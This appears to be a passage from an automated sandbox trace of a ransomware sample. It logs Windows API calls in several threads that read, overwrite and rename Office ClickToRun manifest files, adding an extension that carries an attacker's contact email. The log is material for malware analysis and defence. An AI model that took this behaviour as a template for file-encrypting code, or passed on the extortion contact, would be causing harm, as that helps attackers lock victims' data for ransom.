	[0089.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48f5838) returned 1
	[0089.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e9030) returned 1
	[0089.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0089.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0089.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4734088
	[0089.064] SetFilePointerEx (in: hFile=0x1c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.065] WriteFile (in: hFile=0x1c0c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x2c7bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c7bf7d0*=0x13f, lpOverlapped=0x0) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0089.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebca00
	[0089.066] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml"
	[0089.066] wcscat (in: _Dest=0x4ebca00, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.066] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c7bf788, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e02570
	[0089.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0089.067] NtQueryInformationFile (in: FileHandle=0x1c0c, IoStatusBlock=0x2c7bf794, FileInformation=0x2c7bf76c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c7bf794, FileInformation=0x2c7bf76c) returned 0x0
	[0089.067] NtSetInformationFile (FileHandle=0x1c0c, IoStatusBlock=0x2c7bf794, FileInformation=0x2c7bf76c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0089.068] FlushFileBuffers (hFile=0x1c0c) returned 1
	[0093.262] CloseHandle (hObject=0x1c0c) 

Thread:
	id = 1287
	os_tid = 0x2058

	[0089.061] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.069] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.069] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c10
	[0089.069] GetFileSizeEx (in: hFile=0x1c10, lpFileSize=0x2c83f828 | out: lpFileSize=0x2c83f828*=1526) returned 1
	[0089.069] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x5f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.069] ReadFile (in: hFile=0x1c10, lpBuffer=0x2c83f7ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c83f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2c83f7ac*, lpNumberOfBytesRead=0x2c83f7a8*=0x4, lpOverlapped=0x0) returned 1
	[0089.071] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0089.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.071] NtQuerySystemTime (in: CurrentTime=0x2c83f788 | out: CurrentTime=0x2c83f788*=132251868158038130) returned 0x0
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xe185017e
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x47da8566
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x9861d81e
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x65889eb8
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xff48eb96
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xc5cb7de0
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x9be18088
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x110c7c7a
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x1614177
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xe7013d8
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x132895
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x2c9413e0
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x3c1127cc
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x7577714b
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x7254fe37
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x6b7ae0f8
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x98b6bcd5
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xc0e13dd
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x3f44c5bf
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xeedec596
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x2e804418
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x9ab05286
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x962b6997
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x479cedb4
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x5e0b74a0
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xff0c9a2a
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x67739c5d
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xd229d1c9
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x1074a5b1
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xaad11ccf
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0x536aec53
	[0089.071] RtlRandom (in: Seed=0x2c83f794 | out: Seed=0x2c83f794) returned 0xf16d3d34
	[0089.080] ReadFile (in: hFile=0x1c10, lpBuffer=0x48e9030, nNumberOfBytesToRead=0x5f6, lpNumberOfBytesRead=0x2c83f784, lpOverlapped=0x0 | out: lpBuffer=0x48e9030*, lpNumberOfBytesRead=0x2c83f784*=0x5f6, lpOverlapped=0x0) returned 1
	[0089.080] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.080] WriteFile (in: hFile=0x1c10, lpBuffer=0x48f5838*, nNumberOfBytesToWrite=0x5f6, lpNumberOfBytesWritten=0x2c83f780, lpOverlapped=0x0 | out: lpBuffer=0x48f5838*, lpNumberOfBytesWritten=0x2c83f780*=0x5f6, lpOverlapped=0x0) returned 1
	[0089.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48f5838) returned 1
	[0089.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e9030) returned 1
	[0089.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0089.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0089.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ecea0
	[0089.081] SetFilePointerEx (in: hFile=0x1c10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.081] WriteFile (in: hFile=0x1c10, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x2c83f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c83f7e8*=0x149, lpOverlapped=0x0) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0089.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0089.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e928
	[0089.083] wcscpy (in: _Dest=0x481e928, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml"
	[0089.083] wcscat (in: _Dest=0x481e928, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.083] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c83f7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14c) returned 0x498ed90
	[0089.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.085] NtQueryInformationFile (in: FileHandle=0x1c10, IoStatusBlock=0x2c83f7ac, FileInformation=0x2c83f784, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c83f7ac, FileInformation=0x2c83f784) returned 0x0
	[0089.085] NtSetInformationFile (FileHandle=0x1c10, IoStatusBlock=0x2c83f7ac, FileInformation=0x2c83f784, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.086] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0089.086] FlushFileBuffers (hFile=0x1c10) returned 1
	[0093.268] CloseHandle (hObject=0x1c10) 

Thread:
	id = 1288
	os_tid = 0x205c

	[0089.084] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 0x20
	[0089.087] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.087] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c14
	[0089.087] GetFileSizeEx (in: hFile=0x1c14, lpFileSize=0x2c8bfafc | out: lpFileSize=0x2c8bfafc*=11048) returned 1
	[0089.087] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.087] ReadFile (in: hFile=0x1c14, lpBuffer=0x2c8bfa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c8bfa7c, lpOverlapped=0x0 | out: lpBuffer=0x2c8bfa80*, lpNumberOfBytesRead=0x2c8bfa7c*=0x4, lpOverlapped=0x0) returned 1
	[0089.088] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0089.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.088] NtQuerySystemTime (in: CurrentTime=0x2c8bfa5c | out: CurrentTime=0x2c8bfa5c*=132251868158194467) returned 0x0
	[0089.088] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x1934cd4e
	[0089.088] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x7ce499ef
	[0089.088] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x2c13ae6c
	[0089.088] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x86ad8534
	[0089.088] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xd00869ce
	[0089.088] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x8237885f
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x6e38fea6
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x4168339d
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x406824ff
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xa538cc33
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x79f3e012
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xdd46a899
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xa195bfe2
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x17eddb40
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x3e34cc7
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x514334e6
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xd5da5867
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xeca66e15
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x399deed3
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x50e87e3a
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xda0c544a
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xe1895f20
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x13087f28
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x98ef3a13
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xc579d7e4
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xb63c93f5
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xc20af25
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xa113f2c3
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xe08d4fe2
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xad597c0a
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0xeb56d724
	[0089.089] RtlRandom (in: Seed=0x2c8bfa68 | out: Seed=0x2c8bfa68) returned 0x6355da72
	[0089.097] ReadFile (in: hFile=0x1c14, lpBuffer=0x48e9030, nNumberOfBytesToRead=0x2b28, lpNumberOfBytesRead=0x2c8bfa58, lpOverlapped=0x0 | out: lpBuffer=0x48e9030*, lpNumberOfBytesRead=0x2c8bfa58*=0x2b28, lpOverlapped=0x0) returned 1
	[0089.098] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.099] WriteFile (in: hFile=0x1c14, lpBuffer=0x48f5838*, nNumberOfBytesToWrite=0x2b28, lpNumberOfBytesWritten=0x2c8bfa54, lpOverlapped=0x0 | out: lpBuffer=0x48f5838*, lpNumberOfBytesWritten=0x2c8bfa54*=0x2b28, lpOverlapped=0x0) returned 1
	[0093.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0093.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0093.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0093.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48f5838) returned 1
	[0093.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e9030) returned 1
	[0093.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0093.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0093.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x53) returned 0x2d77540
	[0093.206] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.206] WriteFile (hFile=0x1c14, lpBuffer=0x481ea70, nNumberOfBytesToWrite=0x137, lpNumberOfBytesWritten=0x2c8bfabc, lpOverlapped=0x0) 

Thread:
	id = 1289
	os_tid = 0x2060

	[0089.099] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.099] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.100] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c18
	[0089.100] GetFileSizeEx (in: hFile=0x1c18, lpFileSize=0x2c93fa74 | out: lpFileSize=0x2c93fa74*=2310) returned 1
	[0089.100] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x902, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.100] ReadFile (in: hFile=0x1c18, lpBuffer=0x2c93f9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c93f9f4, lpOverlapped=0x0 | out: lpBuffer=0x2c93f9f8*, lpNumberOfBytesRead=0x2c93f9f4*=0x4, lpOverlapped=0x0) returned 1
	[0089.101] SetFilePointerEx (in: hFile=0x1c18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.101] NtQuerySystemTime (in: CurrentTime=0x2c93f9d4 | out: CurrentTime=0x2c93f9d4*=132251868158350571) returned 0x0
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xe0997736
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x2317a08a
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x41d751e
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x6f0f689b
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xca172a92
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x48287add
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x7b704306
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xa0fa6a7b
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0xd35feee2
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x4ab31497
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x8691fa3f
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x252a6904
	[0089.101] RtlRandom (in: Seed=0x2c93f9e0 | out: Seed=0x2c93f9e0) returned 0x1e453c0
